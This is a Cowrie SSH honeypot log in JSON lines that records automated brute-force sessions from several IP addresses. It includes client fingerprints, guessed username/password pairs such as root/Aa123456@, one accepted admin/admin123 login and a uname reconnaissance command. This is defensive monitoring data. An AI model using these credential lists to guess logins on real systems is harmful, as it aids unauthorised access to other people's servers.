{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:48.474285Z","src_ip":"45.156.87.147","session":"e4d4f86e20e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1","message":"login attempt [user3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:48.724664Z","src_ip":"45.156.87.147","session":"e4d4f86e20e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:49.808577Z","src_ip":"45.156.87.147","session":"e4d4f86e20e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47122,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62c59cc2620","protocol":"ssh","message":"New connection: 91.92.42.227:47122 (10.17.0.5:22) [session: d62c59cc2620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:50.920213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:50.962854Z","src_ip":"91.92.42.227","session":"d62c59cc2620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:51.032549Z","src_ip":"91.92.42.227","session":"d62c59cc2620","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:51.390226Z","src_ip":"91.92.42.227","session":"d62c59cc2620","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:51.628648Z","src_ip":"91.92.42.227","session":"d62c59cc2620","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:51.631284Z","src_ip":"91.92.42.227","session":"d62c59cc2620","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:51.733502Z","src_ip":"91.92.42.227","session":"d62c59cc2620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:51.737543Z","src_ip":"91.92.42.227","session":"d62c59cc2620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51658,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccb98bd3ba12","protocol":"ssh","message":"New connection: 45.156.87.147:51658 (10.17.0.5:22) [session: ccb98bd3ba12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:53.918196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:53.922643Z","src_ip":"45.156.87.147","session":"ccb98bd3ba12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:54.005905Z","src_ip":"45.156.87.147","session":"ccb98bd3ba12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:54.254173Z","src_ip":"45.156.87.147","session":"ccb98bd3ba12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56296,"dst_ip":"159.203.135.109","dst_port":22,"session":"aba1b0755081","protocol":"ssh","message":"New connection: 103.27.238.114:56296 (159.203.135.109:22) [session: aba1b0755081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:54.296777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:54.348709Z","src_ip":"103.27.238.114","session":"aba1b0755081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:54.615151Z","src_ip":"103.27.238.114","session":"aba1b0755081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer0987","message":"login attempt [root/qwer0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:55.415668Z","src_ip":"103.27.238.114","session":"aba1b0755081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:55.472816Z","src_ip":"45.156.87.147","session":"ccb98bd3ba12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:56.685382Z","src_ip":"103.27.238.114","session":"aba1b0755081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54618,"dst_ip":"10.17.0.5","dst_port":22,"session":"746f6c91b192","protocol":"ssh","message":"New connection: 91.92.42.227:54618 (10.17.0.5:22) [session: 746f6c91b192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:57.227682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:57.686715Z","src_ip":"91.92.42.227","session":"746f6c91b192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:57.690351Z","src_ip":"91.92.42.227","session":"746f6c91b192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:59.284476Z","src_ip":"91.92.42.227","session":"746f6c91b192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53890,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6cde005c98","protocol":"ssh","message":"New connection: 45.156.87.147:53890 (10.17.0.5:22) [session: ba6cde005c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:59.339645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:59.347325Z","src_ip":"45.156.87.147","session":"ba6cde005c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:59.429703Z","src_ip":"45.156.87.147","session":"ba6cde005c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:59.768777Z","src_ip":"45.156.87.147","session":"ba6cde005c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:00.749713Z","src_ip":"91.92.42.227","session":"746f6c91b192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:00.853145Z","src_ip":"45.156.87.147","session":"ba6cde005c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":34464,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf7de3cbc83c","protocol":"ssh","message":"New connection: 8.219.200.1:34464 (10.17.0.5:22) [session: bf7de3cbc83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:02.642715Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53896,"dst_ip":"10.17.0.5","dst_port":22,"session":"fde3ca419795","protocol":"ssh","message":"New connection: 45.156.87.147:53896 (10.17.0.5:22) [session: fde3ca419795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:04.740089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:04.743960Z","src_ip":"45.156.87.147","session":"fde3ca419795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52996,"dst_ip":"10.17.0.5","dst_port":22,"session":"075cbf740ed1","protocol":"ssh","message":"New connection: 91.92.42.227:52996 (10.17.0.5:22) [session: 075cbf740ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:04.789407Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:04.827301Z","src_ip":"45.156.87.147","session":"fde3ca419795","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:04.857526Z","src_ip":"91.92.42.227","session":"075cbf740ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:04.917961Z","src_ip":"91.92.42.227","session":"075cbf740ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:05.074809Z","src_ip":"45.156.87.147","session":"fde3ca419795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:05.359594Z","src_ip":"91.92.42.227","session":"075cbf740ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:06.159810Z","src_ip":"45.156.87.147","session":"fde3ca419795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:06.473284Z","src_ip":"91.92.42.227","session":"075cbf740ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:08.061731Z","src_ip":"8.219.200.1","session":"bf7de3cbc83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38544,"dst_ip":"10.17.0.5","dst_port":22,"session":"dadd6162a0dc","protocol":"ssh","message":"New connection: 45.156.87.147:38544 (10.17.0.5:22) [session: dadd6162a0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:10.116873Z"}
